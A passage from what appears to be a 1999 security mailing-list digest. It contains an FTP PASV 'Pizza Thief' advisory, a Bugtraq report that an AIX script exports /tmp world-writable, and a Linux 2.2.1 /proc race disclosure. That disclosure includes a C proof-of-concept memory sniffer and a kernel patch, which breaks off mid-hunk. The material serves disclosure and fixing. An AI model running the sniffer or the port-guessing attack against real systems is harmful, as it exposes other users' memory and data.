  2223.     The study guide was ripped not so cleanly from 'Maxinum Internet 
  2224.     Security' and covered topics I would have expected in a course
  2225.     teaching 'fresh newbies' to Internet security.  Not the hardended
  2226.     program in getting tough with hackers like I was promised. I doubt 
  2227.     that most of you would be willing to pay the $1295 for the same 
  2228.     course I got, and wasn't too pleased with, I learned more from the 
  2229.     others attending the class than from the instructors, You can find 
  2230.     better courses from attending BlackHat or Defcon than this.
  2231.     
  2232.     I should also mention that I have lurked on this list for some 
  2233.     time and know that DUECE3815 has a hard enough time forming complete 
  2234.     sentences let alone selling all of you on computer security courses,
  2235.     But as the Bell helmet company used to advertise a long time ago, 
  2236.     You put a $10 helmet on a $10 head. 
  2237.     
  2238.     
  2239.     ______________________________________________________
  2240.     Get Your Private, Free Email at http://www.hotmail.com
  2241.  
  2242.    
  2243.     Delivered-To: nt-out-link@iss.net
  2244.     Received: (qmail 23021 invoked by alias); 2 Feb 1999 20:34:49 -0000
  2245.     Delivered-To: nt-out@iss.net
  2246.     Received: (qmail 22893 invoked by uid 15); 2 Feb 1999 20:34:45 -0000
  2247.     Received: (qmail 22855 invoked from network); 2 Feb 1999 20:34:42 -0000
  2248.     Received: from loki.iss.net (root@208.21.0.3)
  2249.       by phoenix.iss.net with SMTP; 2 Feb 1999 20:34:42 -0000
  2250.     Received: from arden.iss.net (nt-mod@arden.iss.net [208.21.0.8]) by loki.iss.net (8.8.7/8.7.3) with ESMTP id PAA23494 for <ntsecurity@phoenix.iss.net>; Tue, 2 Feb 1999 15:33:12 -0500
  2251.     Received: (from nt-mod@localhost) by arden.iss.net (8.8.5/8.7.3) id PAA26652 for ntsecurity@iss.net; Tue, 2 Feb 1999 15:34:37 -0500
  2252.     Received: (qmail 9725 invoked from network); 2 Feb 1999 17:37:58 -0000
  2253.     Received: from loki.iss.net (root@208.21.0.3)
  2254.       by phoenix.iss.net with SMTP; 2 Feb 1999 17:37:58 -0000
  2255.     Received: from send501.yahoomail.com (web504.yahoomail.com [128.11.68.71]) by loki.iss.net (8.8.7/8.7.3) with SMTP id MAA08342 for <ntsecurity@iss.net>; Tue, 2 Feb 1999 12:36:29 -0500
  2256.     Message-ID: <19990202173911.7840.rocketmail@send501.yahoomail.com>
  2257.     Received: from [170.12.25.93] by web504.yahoomail.com; Tue, 02 Feb 1999 09:39:11 PST
  2258.     Date: Tue, 2 Feb 1999 09:39:11 -0800 (PST)
  2259.     
  2260. From: loose goose <drdelam@yahoo.com>
  2261.     Subject: [NTSEC] New Exploit - FTP PASV "Pizza Thief" Exploit
  2262.     To: ntsecurity@iss.net
  2263.     MIME-Version: 1.0
  2264.     Content-Type: text/plain; charset=us-ascii
  2265.     Sender: owner-ntsecurity@iss.net
  2266.     Precedence: bulk
  2267.     Reply-To: loose goose <drdelam@yahoo.com>
  2268.     X-Loop: ntsecurity
  2269.     X-Comment: TO UNSUBSCRIBE: email "unsubscribe ntsecurity" to majordomo@iss.net
  2270.     X-Comment: DO NOT send subscribe/unsubscribe messages to ntsecurity@iss.net
  2271.     
  2272.     
  2273.     TO UNSUBSCRIBE: email "unsubscribe ntsecurity" to majordomo@iss.net
  2274.     Contact ntsecurity-owner@iss.net for help with any problems!
  2275.     ---------------------------------------------------------------------------
  2276.     
  2277.     InfoWar Security Advisory #01 
  2278.     (http://www.infowar.com) 
  2279.     February 1st, 1999
  2280.     
  2281.     FTP PASV "Pizza Thief" Exploit
  2282.     Author: Jeffrey R. Gerber
  2283.     
  2284.     PROBLEM:
  2285.     Legitimate FTP clients may experience Denial of Service and rogue FTP
  2286.     clients may obtain unauthorized access to data.
  2287.     
  2288.     PLATFORM:
  2289.     All operating systems. All FTP clients and FTP servers affected.
  2290.     
  2291.     DAMAGE:
  2292.     Data loss, data corruption, and denial of service.
  2293.     
  2294.     SOLUTION:
  2295.     Proposed solutions follow at the end of this document.
  2296.     
  2297.     VULNERABILITY ASSESSMENT:
  2298.     Risk is medium. The ability for this attack to be performed is not
  2299.     100% guaranteed. The higher the volume of traffic an FTP server sees,
  2300.     the higher the potential for a successful attack. This attack has not
  2301.     yet been observed in the wild.
  2302.     
  2303.     Synopsis:
  2304.     The Pizza Thief exploit relies on the FTP Passive (PASV) mode of
  2305.     operation. When a client connects to a server using the PASV mode, the
  2306.     server opens a port for data transfer to the client. As observed on
  2307.     all tested FTP servers, any client other than the legitimate client
  2308.     may just as equally connect to the allocated data port. Typical
  2309.     behavior is that the first client to connect to the data port gets the
  2310.     data. Any following connections from other clients (including the
  2311.     legitimate client) will either be rejected or connect without
  2312.     reception of data.
  2313.     
  2314.     Description:
  2315.     RFC 765 "FILE TRANSFER PROTOCOL", Page 23 describes the "TRANSFER
  2316.     PARAMETER COMMANDS" for FTP. Two named transfer parameter commands are
  2317.     DATA PORT (PORT) and PASSIVE (PASV). Either PORT or PASV is used by
  2318.     FTP to establish a data connection, the Data Transfer Process (DTP).
  2319.     FTP data connections are frequently followed by the RETRIEVE (RETR),
  2320.     STORE (STOR), APPEND (with create) (APPE), and LIST (LIST) commands
  2321.     which use the DTP.
  2322.     
  2323.     When a DTP connection is established between an FTP client and an FTP
  2324.     server, either the server listens for a connection from the client
  2325.     (PASV command) or the client listens for a connection from the server
  2326.     (PORT command).
  2327.     
  2328.     If a PORT command is issued to the server, the server requires the
  2329.     client to state at which network address and on which port the server
  2330.     is to connect to the client. The PORT command is of the format: "PORT
  2331.     h1,h2,h3,h4,p1,p2" where h1,h2,h3,h4 is the client's network address,
  2332.     and p1,p2 is the 16 bit client port number in an 8 bit high,low bit
  2333.     order. If a PASV command is issued to the server, the server responds
  2334.     to the client, telling the client at what network address and on what
  2335.     port the client is to connect to the server. The PASV command takes no
  2336.     parameters.
  2337.     
  2338.     The "Postel's Pizza Parlor" FTP analogy:
  2339.     
  2340.     Mr. Postel runs a fine pizza parlor in Anytown, CA. In recent years
  2341.     Mr. Postel added two new services to his business: "Carry Out" and
  2342.     "Delivery". Customers thoroughly enjoy both services.
  2343.     
  2344.     Some customers living in gated communities, a recent housing
  2345.     phenomenon that has been continually expanding, have found it
  2346.     necessary to use Carry Out rather than Delivery since the delivery
  2347.     
  2348. person frequently has problems getting through the front gate.
  2349.     Although the gated community customers find carry out a bit of a pain
  2350.     they enjoy the compromise for their higher level of security in living.
  2351.     
  2352.     Mr. Postel's business ran fine for a while but he soon noticed two
  2353.     erroneous phenomenon: 1) Some Delivery pizza's were being delivered to
  2354.     the wrong addresses. 2) Some Carry Out customers were arguing that
  2355.     their pizza wasn't ready when they arrived. After carefully looking
  2356.     into the Delivery issue, Mr. Postel discovered that some customers
  2357.     were calling and having pizza's delivered to wrong addresses or to
  2358.     individuals that didn't order a pizza. Mr. Postel surmised that either
  2359.     the caller was doing this as a prank or they were, for whatever
  2360.     strange reasons, making notes of where the pizzas were able to be
  2361.     delivered and not delivered. After looking into the Carry Out problem,
  2362.     Mr. Postel determined that "pizza thieves" were comming into the store
  2363.     and asking to pick up pizzas that were not their own by guessing
  2364.     likely order numbers (the method by which a customer asks for his or
  2365.     her pizza). The legitimate customers were then arriving only to find
  2366.     that their pizza wasn't ready.
  2367.     
  2368.     After careful thought on the Carry Out problem, Mr. Postel decided to
  2369.     make it a policy for the calling customers to state their home
  2370.     address. Now when the customer comes into the pizza parlor, the server
  2371.     will check the person's drivers license for a matching address. The
  2372.     Carry Out problem analogously describes the problem with the current
  2373.     FTP PASV connection methodology. Presently, most if not all, FTP
  2374.     servers on the Internet are succeptible to a "pizza thief" attack.
  2375.     This attack involves a rogue client making educated guesses at
  2376.     potential port numbers (pizza order numbers). Port number prediction
  2377.     is possible by repetitive sampling of server responses from the PASV
  2378.     command. Many servers allocate new port numbers by allocating a new
  2379.     port number at a value one higher than the last used port number. This
  2380.     is analogous to a pizza thief sitting in a waiting room, listening to
  2381.     previous order numbers and then guessing at a currently pending order
  2382.     number and asking for it.
  2383.     
  2384.     In the past, the PASV connection method was used with far less
  2385.     frequency than the preferred PORT connection method. The use of PASV
  2386.     has been increasing proportionately with an increased frequency of
  2387.     clients sitting behind firewalls (gated communities). The pizza thief
  2388.     attack thus becomes more effective by day.
  2389.     
  2390.     Recommendations:
  2391.     Solving the problem requires careful thought. Server programmers can
  2392.     program a server to identify the client address associated with the
  2393.     control port and only allow data port connections from the client
  2394.     address, however this server would not be RFC compliant.
  2395.     
  2396.     In the FTP standard, server to server connections are possible by use
  2397.     of the PORT command on server A and the PASV command on server B. The
  2398.     client directs both server A and B to connect to each other. In this
  2399.     case, assume that server A accepts the PASV command. Server A will
  2400.     find that the address of the client on the control port does not match
  2401.     the address associated with the data connection (which is server B's
  2402.     
  2403. address).
  2404.     
  2405.     A possible solution is an RFC obsoletion or update, documenting a new
  2406.     form of the PASV command, PASX for "PASsiVe eXtended". The PASX
  2407.     command would take address arguments in the form h1,h2,h3,h4 just as
  2408.     the PORT command uses, sans port numbers p1,p2. In using PASX, both
  2409.     the client to server connections and the server to server connections
  2410.     would remain compliant with current RFC methodologies, yet adding a
  2411.     much needed layer of authentication.
  2412.     
  2413.     RFC 2228 "FTP SECURITY EXTENSIONS" has addressed the issue of securing
  2414.     the data channel with the DATA CHANNEL PROTECTION LEVEL (PROT)
  2415.     extension and use of data encapsulation. Through the use of a secured
  2416.     data channel, the Pizza Thief threat is reduced to a simple denial of
  2417.     service attack. 
  2418.     
  2419.     
  2420.     
  2421.     
  2422.     
  2423.     
  2424.     _________________________________________________________
  2425.     DO YOU YAHOO!?
  2426.     Get your free @yahoo.com address at http://mail.yahoo.com
  2427.  
  2428.    
  2429.     Date: Fri, 29 Jan 1999 21:43:51 PST
  2430.     From: Ryan McRonald <mcronald@NETSCAPE.NET>
  2431.     To: BUGTRAQ@netspace.org
  2432.     Subject: TROJAN: netstation.navio-comm.rte 1.1.0.1
  2433.     
  2434.       While configuring some IBM Network Station 300s I noticed that my /tmp
  2435.     directory had become NFS exported and world read/writeable!!  I traced
  2436.     this to one of the configuration scripts that is included in AIX's
  2437.     netstation.navio-com.rte 1.1.0.1 used for the Navio NC browser.
  2438.     
  2439.     >From /usr/netstation/bin/Xnav:
  2440.     
  2441.     1)  Magic number is munged ... pet peeve of mine:
  2442.     
  2443.         +1  # @(#)93  1.3 src/nav/aix/Xnav.cpp, navio, 41navio110
  2444.         +2  #!/bin/ksh
  2445.         +3  #
  2446.         ...
  2447.     
  2448.     2)  This part is somewhat problematic:
  2449.     
  2450.        ...
  2451.        +98  grep "/tmp" /etc/exports > /dev/null 2>&1
  2452.        +99  if [ $? -ne 0 ]; then
  2453.       +100          echo "/tmp" >> /etc/exports
  2454.       +101          /usr/sbin/exportfs -a
  2455.       +102  fi
  2456.        ...
  2457.     
  2458.     The fix:
  2459.     
  2460.     1) Do you have netstation.navio.comm-rte installed?
  2461.     
  2462.       # lslpp -l netstation.navio-comm-rte
  2463.     
  2464.     2)  Check if /tmp is exported with:
  2465.     
  2466.       # exportfs
  2467.     
  2468.     3) If /tmp is exported run:
  2469.     
  2470.       # /usr/sbin/rmnfsexp -d /tmp -B
  2471.     
  2472.     This emphasizes the importance of running a regular "sanity" security
  2473.     audits such as satan or ISS.
  2474.     
  2475.     regards from a long-tine bugtraq lurker,
  2476.     
  2477.     Ryan
  2478.     
  2479.     
  2480.     //////////////////////////////////////////////////////////////////////////
  2481.     /proc 3 way smp race condition in Linux 2.2.1 kernel
  2482.     //////////////////////////////////////////////////////////////////////////
  2483.  
  2484.     Date: Tue, 2 Feb 1999 17:39:13 +0100
  2485.     From: Andrea Arcangeli <andrea@E-MIND.COM>
  2486.     To: BUGTRAQ@netspace.org
  2487.     Subject: [patch] /proc race fixes for 2.2.1 (fwd)
  2488.     
  2489.     This is a short analysis I've done yesterday about the array.c
  2490.     (/proc/pid/...) races of Linux-2.2.0 and Linux-2.2.1. These races was
  2491.     leading to very easily reproducible crashes and Oopses in linux-2.2.0. But
  2492.     Linux-2.2.1 is not been completly fixed. There's still a potential race
  2493.     very hard to reproduce (I think you need at least a 3way smp). You can
  2494.     find a kind of /proc sniffer in this email. At the end of this email
  2495.     you'll find my complete fix for 2.2.1.
  2496.     
  2497.     The race if exploited can lead at least to reading data from random used
  2498.     memory. The memory that could be sniffed could contain any kind of useful
  2499.     data (userspace process memory, cache or whatever). It's not possible to
  2500.     grab the whole page but it's possible only to reproduce the contents of
  2501.     the memory reading and decoding the output of /proc.
  2502.     
  2503.     Maybe it's impossible to exploit the SMP race I am pointing out even if on
  2504.     3way smp because of timing issues, but there's no a lock that assures
  2505.     atomicity.
  2506.     
  2507.     Side note: I hope to have diffed all the interesting changes from my tree
  2508.     to 2.2.1 at the end of the email (I don't have the time to check). If for
  2509.     some reason the patch won't apply cleanly or will not work don't bother me
  2510.     in mass, but instead go in sync with my personal kernel tree to get this
  2511.     race fixed (I take it open just to allow other people to try it) at
  2512.     ftp://e-mind.com/pub/linux/arca-tree/2.2.1_arca-2.gz. My tree has also
  2513.     many other improvements, bugfix and features (not only developed by me,
  2514.     e.g.  the ieee1284-parport code developed by Tim Waugth) and can have any
  2515.     kind of bugs in it so ask me before use it for production (so I'll tell
  2516.     you what you have to remove to get it rock solid for sure).
  2517.     
  2518.     Andrea Arcangeli
  2519.     
  2520.     ---------- Forwarded message ----------
  2521.     Date: Tue, 2 Feb 1999 01:07:07 +0100 (CET)
  2522.     >From: Andrea Arcangeli <andrea@e-mind.com>
  2523.     To: linux-kernel@vger.rutgers.edu
  2524.     Subject: [patch] /proc race fixes for 2.2.1
  2525.     
  2526.     2.2.1 reintroduced a SMP race in array.c. The SMP race is that wait(2) can
  2527.     free the kernel stack of the zombie process while array.c is using it.
  2528.     
  2529.     Once the page is freed it can be reused, and if it get recycled before
  2530.     array.c has finished to use it, you could reconstruct part of RAM that you
  2531.     should not be allowed to read (looking at /proc data) and array.c could
  2532.     get in problems during its lifetime (not checked this last but it's a
  2533.     guess).
  2534.     
  2535.     In practice the window for the race is small and I think you would need at
  2536.     least 3 CPU to reproduce this I think.
  2537.     
  2538.     The first CPU has to fork a process that will do only an _exit(2). Then
  2539.     has to wait that the forked process become a zombie, and once it's a
  2540.     zombie it has to start a /proc sniffer that will read /proc/zombiepid/stat
  2541.     on the other cpu.
  2542.     
  2543.     This sniffer will save its contents to a buffer at the first pass and then
  2544.     it will start reading /proc/../stat in loop and comparing it with the one
  2545.     saved in the buffer, and it will then log the output of /proc/../stat if
  2546.     it will be changed compared with the saved data sample in the buffer.
  2547.     
  2548.     Once the sniffer is at regime (the loop that search for /proc changes is
  2549.     started) the task on the first CPU (the one that forked the sniffer) has
  2550.     to do a wait(2) so that the stack of the zombie process will be released.
  2551.     
  2552.     A bit before doing the wait(2) you must eat all the memory avaliable with
  2553.     a trashing proggy and this last has to run in a new CPU (so you need at
  2554.     least a 3way smp). Since this last memory-trasher proggy will start
  2555.     allocing tons of memory, you'll have a chance that the pages freed by
  2556.     wait(2) will be realloced by the kernel before the read of the /proc
  2557.     sniffer will finish.
  2558.     
  2559.     It's theorically possible to sniff data from the kernel exploiting the
  2560.     /proc race but it's really hard and only on some very parallel hardware.
  2561.     
  2562.     I also written a sample of exploit (really ugly, I written it very fast
  2563.     and without thinking too much about it because I think to spend better my
  2564.     time in fixing the bug or writing useful code than in writing exploits....
  2565.     and because I realizied that on the hardware I have here it would have
  2566.     never worked ;).
  2567.     
  2568.     /*
  2569.      * Copyright (C) 1999  Andrea Arcangeli
  2570.      * Linux-2.2.1 /proc SMP race sniffer
  2571.      */
  2572.     
  2573.     #include <stdio.h>
  2574.     #include <fcntl.h>
  2575.     #include <sched.h>
  2576.     #include <pthread.h>
  2577.     
  2578.     static volatile int pid = -1;
  2579.     static int prog_length;
  2580.     static pthread_mutex_t pid_lock = PTHREAD_MUTEX_INITIALIZER;
  2581.     static pthread_mutex_t zombie_lock = PTHREAD_MUTEX_INITIALIZER;
  2582.     
  2583.     static int get_current_pid(void)
  2584.     {
  2585.             int __pid;
  2586.             pthread_mutex_lock(&pid_lock);
  2587.             __pid = pid;
  2588.             pthread_mutex_unlock(&pid_lock);
  2589.             return __pid;
  2590.     }
  2591.     
  2592.     static void * sniffer(void *dummy)
  2593.     {
  2594.             int cache_pid = -1, fd = -1;
  2595.             char str[50], buf[2000], sample[2000];
  2596.     
  2597.             pthread_mutex_lock(&zombie_lock);
  2598.             pthread_mutex_unlock(&zombie_lock);
  2599.     
  2600.             for (;;)
  2601.             {
  2602.                     int length_cmp;
  2603.                     if (get_current_pid() != cache_pid)
  2604.                     {
  2605.                             pthread_mutex_lock(&zombie_lock);
  2606.                             cache_pid = pid;
  2607.                             snprintf(str, 50, "/proc/%d/stat", cache_pid);
  2608.                             if (fd > 0)
  2609.                                     close(fd);
  2610.                             fd = open(str, O_RDONLY|O_NONBLOCK);
  2611.                             if (fd > 0)
  2612.                             {
  2613.                                     int length;
  2614.                                     length = read(fd, &buf, 2000);
  2615.                                     if (length > 0)
  2616.                                     {
  2617.                                             length_cmp = length;
  2618.                                             memcpy(sample, buf, length);
  2619.                                             sample[length-1] = 0;
  2620.                                     }
  2621.                             }
  2622.                             pthread_mutex_unlock(&zombie_lock);
  2623.                     }
  2624.     
  2625.                     if (fd > 0)
  2626.                     {
  2627.                             int length;
  2628.     
  2629.                             lseek(fd, 0, SEEK_SET);
  2630.                             length = read(fd, &buf, 200);
  2631.                             buf[length-1] = 0;
  2632.                             if (length >= length_cmp && memcmp(buf, sample,
  2633.                                                                length_cmp))
  2634.                                     printf("length %d, pid %d\n"
  2635.                                            "original data: %s\n"
  2636.                                            "modifyed data: %s\n",
  2637.                                            length, cache_pid, sample, buf);
  2638.                     }
  2639.             }
  2640.     }
  2641.     
  2642.     static int is_zombie(int __pid)
  2643.     {
  2644.             char str[50], state;
  2645.             FILE * status;
  2646.             snprintf(str, 50, "/proc/%d/status", __pid);
  2647.             status = fopen(str, "r");
  2648.             if (!status)
  2649.             {
  2650.                     perror("open");
  2651.                     exit(2);
  2652.             }
  2653.             fscanf(status, "%*s\t%*s\nState:\t%c", &state);
  2654.             fclose(status);
  2655.             if (state != 'Z')
  2656.                     return 0;
  2657.             return 1;
  2658.     }
  2659.     
  2660.     int main(int argc, char *argv[])
  2661.     {
  2662.             int dummy;
  2663.             pthread_t task_struct_sniffer;
  2664.     
  2665.             pthread_mutex_lock(&zombie_lock);
  2666.     
  2667.             if (pthread_create(&task_struct_sniffer, NULL, sniffer, NULL))
  2668.             {
  2669.                     perror("pthread_create");
  2670.                     exit(1);
  2671.             }
  2672.     
  2673.             for (;;)
  2674.             {
  2675.                     int __pid = fork();
  2676.                     if (!__pid)
  2677.                             _exit(0);
  2678.     
  2679.                     while (!is_zombie(__pid));
  2680.     
  2681.                     pthread_mutex_lock(&pid_lock);
  2682.                     pid = __pid;
  2683.                     pthread_mutex_unlock(&pid_lock);
  2684.     
  2685.                     pthread_mutex_unlock(&zombie_lock);
  2686.                     usleep(1);
  2687.                     wait(&dummy);
  2688.                     pthread_mutex_lock(&zombie_lock);
  2689.             }
  2690.             pthread_mutex_unlock(&zombie_lock);
  2691.     }
  2692.     
  2693.     Probably it has also bugs (since I have no chance to make it working here
  2694.     I am not going to look at it further), I attached it here only in the case
  2695.     someone is interested on a exploit sample. BTW, is there a better way to
  2696.     know when the child is become a zombie than reading
  2697.     /proc/pidofchild/status ? I thought to catch the SIGCHILD signal but as
  2698.     first I was not sure that this way a wait() would be wakenup anyway (too
  2699.     lazy to check in signal.c ;), and as second with the /proc/xxx/status
  2700.     approch I had to write less code anyway and since it was a not performance
  2701.     critical piece of code I had no dubit of the way to take ;).
  2702.     
  2703.     I also understood very well the reason of the 2.2.0 oopses and process in
  2704.     D state. It was happening something like this:
  2705.     
  2706.             `ps`                            tsk
  2707.             -------------                   -----------------
  2708.             sys_read()
  2709.             lock_kernel()
  2710.                                             do_page_fault()
  2711.             array_read()
  2712.                                             down(tsk->mm)
  2713.                                             find_vma()
  2714.             get_process_array()
  2715.                                             handle_mm_fault()
  2716.                                             lock_kernel() /* woowoo so spin on
  2717.                                                             the big kernel
  2718.                                                             lock */
  2719.             get_stat()
  2720.             grab_task()
  2721.             down(tsk->mm) /* just owned by tsk */
  2722.             schedule() /* so release the big kernel lock */
  2723.                                             tsk gets the big kernel lock
  2724.                                             here
  2725.                                             finish the page fault
  2726.                                             __up()
  2727.                                             wake_up_process(`ps`)
  2728.                                             many othe thing
  2729.                                             execve() /* this is the harming */
  2730.                                             mmput(tsk->mm);
  2731.                                             tsk->mm = mm_alloc(); (mm->count = 1)
  2732.                                             finish execve...
  2733.                                             .... everything he wants ....
  2734.             now `ps` get rescheduled
  2735.             and own the mm->semaphore
  2736.             (of a mm_struct that is not
  2737.             tsk->mm anymore)
  2738.             release_task(tsk);
  2739.             mmput(tsk->mm); (but mm->count was 1!!)
  2740.             exit_mmap();
  2741.             zap_page_range() /* aieee! */
  2742.                                             at the first fault it will get
  2743.                                             a mm = &init_mm !!
  2744.     
  2745.     Thinks like this can't happens in 2.2.0-pre9 just because tsk->mm was
  2746.     still referencing the old mm of the process (before the execve) because
  2747.     tsk->mm was a copy and not a runtime value.
  2748.     
  2749.     Obviously there was the stack overflow and performances problem in the
  2750.     (1) copy approch.
  2751.     
  2752.     So now I fixed all races with a zerocopy approch (originally suggested by
  2753.     Linus that increments the page count of the process stack instead of
  2754.     doing the copy, but it also assure that array.c always use the mm it has
  2755.     get before (with mmget())).
  2756.     
  2757.     Works fine here. Patch against 2.2.1:
  2758.     
  2759.     --- /tmp/array.c        Tue Feb  2 00:08:07 1999
  2760.     +++ linux/fs/proc/array.c       Mon Feb  1 23:51:51 1999
  2761.     @@ -389 +390,30 @@
  2762.     -static unsigned long get_phys_addr(struct task_struct * p, unsigned long ptr)
  2763.     +/*
  2764.     + * Caller must release_mm the mm_struct later.
  2765.     + * You don't get any access to init_mm.
  2766.     + */
  2767.     +static struct mm_struct * grab_mm(int pid)
  2768.     +{
  2769.     +       struct mm_struct * mm = NULL;
  2770.     +       struct task_struct * tsk;
  2771.     +
  2772.     +       read_lock(&tasklist_lock);
  2773.     +       tsk = find_task_by_pid(pid);
  2774.     +       /*
  2775.     +        * NOTE: this doesn't race because we are protected by the
  2776.     +        * big kernel lock. -arca
  2777.     +        */
  2778.     +       if (tsk && tsk->mm && tsk->mm != &init_mm)
  2779.     +               mmget(mm = tsk->mm);
  2780.     +       read_unlock(&tasklist_lock);
  2781.     +       if (mm)
  2782.     +               down(&mm->mmap_sem);
  2783.     +       return mm;
  2784.     +}
  2785.     +
  2786.     +static void release_mm(struct mm_struct *mm)
  2787.     +{
  2788.     +       up(&mm->mmap_sem);
  2789.     +       mmput(mm);
  2790.     +}
  2791.     +
  2792.     +static unsigned long get_phys_addr(struct mm_struct *mm, unsigned long ptr)
  2793.     @@ -395 +425 @@
  2794.     -       if (!p || !p->mm || ptr >= TASK_SIZE)
  2795.     +       if (ptr >= TASK_SIZE)
  2796.     @@ -398,2 +428,2 @@
  2797.     -       if (!p->mm->pgd) {
  2798.     -               printk("get_phys_addr: pid %d has NULL pgd!\n", p->pid);
  2799.     +       if (!mm->pgd) {
  2800.     +               printk(KERN_DEBUG "missing pgd for mm %p\n", mm);
  2801.     @@ -403 +433 @@
  2802.     -       page_dir = pgd_offset(p->mm,ptr);
  2803.     +       page_dir = pgd_offset(mm,ptr);
  2804.     @@ -425 +455 @@
  2805.     -static int get_array(struct task_struct *p, unsigned long start, unsigned long end, char * buffer)
  2806.     +static int get_array(struct mm_struct *mm, unsigned long start, unsigned long end, char * buffer)
  2807.     @@ -434 +464 @@
  2808.     -               addr = get_phys_addr(p, start);
  2809.     +               addr = get_phys_addr(mm, start);
  2810.     @@ -456,5 +486,2 @@
  2811.     -       struct task_struct *p;
  2812.     -       
  2813.     -       read_lock(&tasklist_lock);
  2814.     -       p = find_task_by_pid(pid);
  2815.     -       read_unlock(&tasklist_lock);    /* FIXME!! This should be done after the last use */
  2816.     +       struct mm_struct *mm;
  2817.     +       int res = 0;
  2818.     @@ -462,3 +489,6 @@
  2819.     -       if (!p || !p->mm)
  2820.     -               return 0;
  2821.     -       return get_array(p, p->mm->env_start, p->mm->env_end, buffer);
  2822.     +       mm = grab_mm(pid);
  2823.     +       if (mm) {
  2824.     +               res = get_array(mm, mm->env_start, mm->env_end, buffer);
  2825.     +               release_mm(mm);
  2826.     +       }
  2827.     +       return res;
  2828.     @@ -469 +499,2 @@
  2829.     -       struct task_struct *p;
  2830.     +       struct mm_struct *mm;
  2831.     +       int res = 0;
  2832.     @@ -471,6 +502,6 @@
  2833.     -       read_lock(&tasklist_lock);
  2834.     -       p = find_task_by_pid(pid);
  2835.     -       read_unlock(&tasklist_lock);    /* FIXME!! This should be done after the last use */
  2836.     -       if (!p || !p->mm)
  2837.     -               return 0;
  2838.     -       return get_array(p, p->mm->arg_start, p->mm->arg_end, buffer);
  2839.     +       mm = grab_mm(pid);
  2840.     +       if (mm) {
  2841.     +               res = get_array(mm, mm->arg_start, mm->arg_end, buffer);
  2842.     +               release_mm(mm);
  2843.     +       }
  2844.     +       return res;
  2845.     @@ -725 +707 @@
  2846.     -static inline char * task_mem(struct task_struct *p, char *buffer)
  2847.     +static inline char * task_mem(struct mm_struct * mm, char *buffer)
  2848.     @@ -727,4 +709,2 @@
  2849.     -       struct mm_struct * mm = p->mm;
  2850.     -
  2851.     -       if (mm && mm != &init_mm) {
  2852.     -               struct vm_area_struct * vma = mm->mmap;
  2853.     +       if (mm) {
  2854.     +               struct vm_area_struct * vma;
  2855.     @@ -819,0 +800,39 @@
  2856.     +static struct task_struct *grab_task(int pid, struct mm_struct ** mm)
  2857.     +{
  2858.     +       struct task_struct *tsk = current;
  2859.     +       
  2860.     +       *mm = NULL;
  2861.     +       read_lock(&tasklist_lock);
  2862.     +       tsk = find_task_by_pid(pid);
  2863.     +       if (tsk)
  2864.     +       {
  2865.     +               struct mm_struct * __mm;
  2866.     +               struct page * page = mem_map + MAP_NR(tsk);
  2867.     +               atomic_inc(&page->count);
  2868.     +               /*
  2869.     +                * NOTE: this doesn't race because we are protected
  2870.     +                * by the big kernel lock. -arca
  2871.     +                */
  2872.     +               __mm = tsk->mm;
  2873.     +               if (__mm && __mm != &init_mm)
  2874.     +               {
  2875.     +                       mmget(__mm);
  2876.     +                       *mm = __mm;
  2877.     +               }
  2878.     +       }
  2879.     +       read_unlock(&tasklist_lock);
  2880.     +       if (*mm)
  2881.     +               down(&(*mm)->mmap_sem);
  2882.     +
  2883.     +       return tsk;
  2884.     +}
  2885.     +
  2886.     +static void release_task(struct task_struct *tsk, struct mm_struct * mm)
  2887.     +{
  2888.     +       if (mm)
  2889.     +       {
  2890.     +               up(&mm->mmap_sem);
  2891.     +               mmput(mm);
  2892.     +       }
  2893.     +       free_pages((unsigned long) tsk, 1);
  2894.     +}
  2895.     @@ -825,4 +844,3 @@
  2896.     -
  2897.     -       read_lock(&tasklist_lock);
  2898.     -       tsk = find_task_by_pid(pid);
  2899.     -       read_unlock(&tasklist_lock);    /* FIXME!! This should be done after the last use */
  2900.     +       struct mm_struct * mm;
  2901.     +       
  2902.     +       tsk = grab_task(pid, &mm);
  2903.     @@ -833 +851 @@
  2904.     -       buffer = task_mem(tsk, buffer);
  2905.     +       buffer = task_mem(mm, buffer);
  2906.     @@ -835,0 +854 @@
  2907.     +       release_task(tsk, mm);
  2908.     @@ -841,0 +861 @@
  2909.     +       struct mm_struct * mm;
  2910.     @@ -846,0 +867 @@
  2911.     +       int res;
  2912.     @@ -848,3 +869 @@
  2913.     -       read_lock(&tasklist_lock);
  2914.     -       tsk = find_task_by_pid(pid);
  2915.     -       read_unlock(&tasklist_lock);    /* FIXME!! This should be done after the last use */
  2916.     +       tsk = grab_task(pid, &mm);
  2917.     @@ -855,3 +874,4 @@
  2918.     -       if (tsk->mm && tsk->mm != &init_mm) {
  2919.     -               struct vm_area_struct *vma = tsk->mm->mmap;
  2920.     -               while (vma) {
  2921.     +       if (mm) {
  2922.     +               struct vm_area_struct *vma;
  2923.     +
  2924.     +               for (vma = mm->mmap; vma; vma = vma->vm_next) {
  2925.     @@ -859 +878,0 @@
  2926.     -                       vma = vma->vm_next;
  2927.     @@ -860,0 +880 @@
  2928.     +               
  2929.     @@ -881 +901 @@
  2930.     -       return sprintf(buffer,"%d (%s) %c %d %d %d %d %d %lu %lu \
  2931.     +       res = sprintf(buffer,"%d (%s) %c %d %d %d %d %d %lu %lu \
  2932.     @@ -907 +927 @@
  2933.     -               tsk->mm ? tsk->mm->rss : 0, /* you might want to shift this left 3 */
  2934.     +               mm ? mm->rss : 0, /* you might want to shift this left 3 */
  2935.     @@ -909,3 +929,3 @@
  2936.     -               tsk->mm ? tsk->mm->start_code : 0,
  2937.     -               tsk->mm ? tsk->mm->end_code : 0,
  2938.     -               tsk->mm ? tsk->mm->start_stack : 0,
  2939.     +               mm ? mm->start_code : 0,
  2940.     +               mm ? mm->end_code : 0,
  2941.     +               mm ? mm->start_stack : 0,
  2942.     @@ -925,0 +946,3 @@
  2943.     +
  2944.     +       release_task(tsk, mm);
  2945.     +       return res;
  2946.     @@ -1003 +1025,0 @@
  2947.     -       struct task_struct *tsk;
  2948.     @@ -1004,0 +1027 @@
  2949.     +       struct mm_struct *mm;
  2950.     @@ -1006,7 +1029,3 @@
  2951.     -       read_lock(&tasklist_lock);
  2952.     -       tsk = find_task_by_pid(pid);
  2953.     -       read_unlock(&tasklist_lock);    /* FIXME!! This should be done after the last use */
  2954.     -       if (!tsk)
  2955.     -               return 0;
  2956.     -       if (tsk->mm && tsk->mm != &init_mm) {
  2957.     -               struct vm_area_struct * vma = tsk->mm->mmap;
  2958.     +       mm = grab_mm(pid);
  2959.     +       if (mm) {
  2960.     +               struct vm_area_struct * vma = mm->mmap;
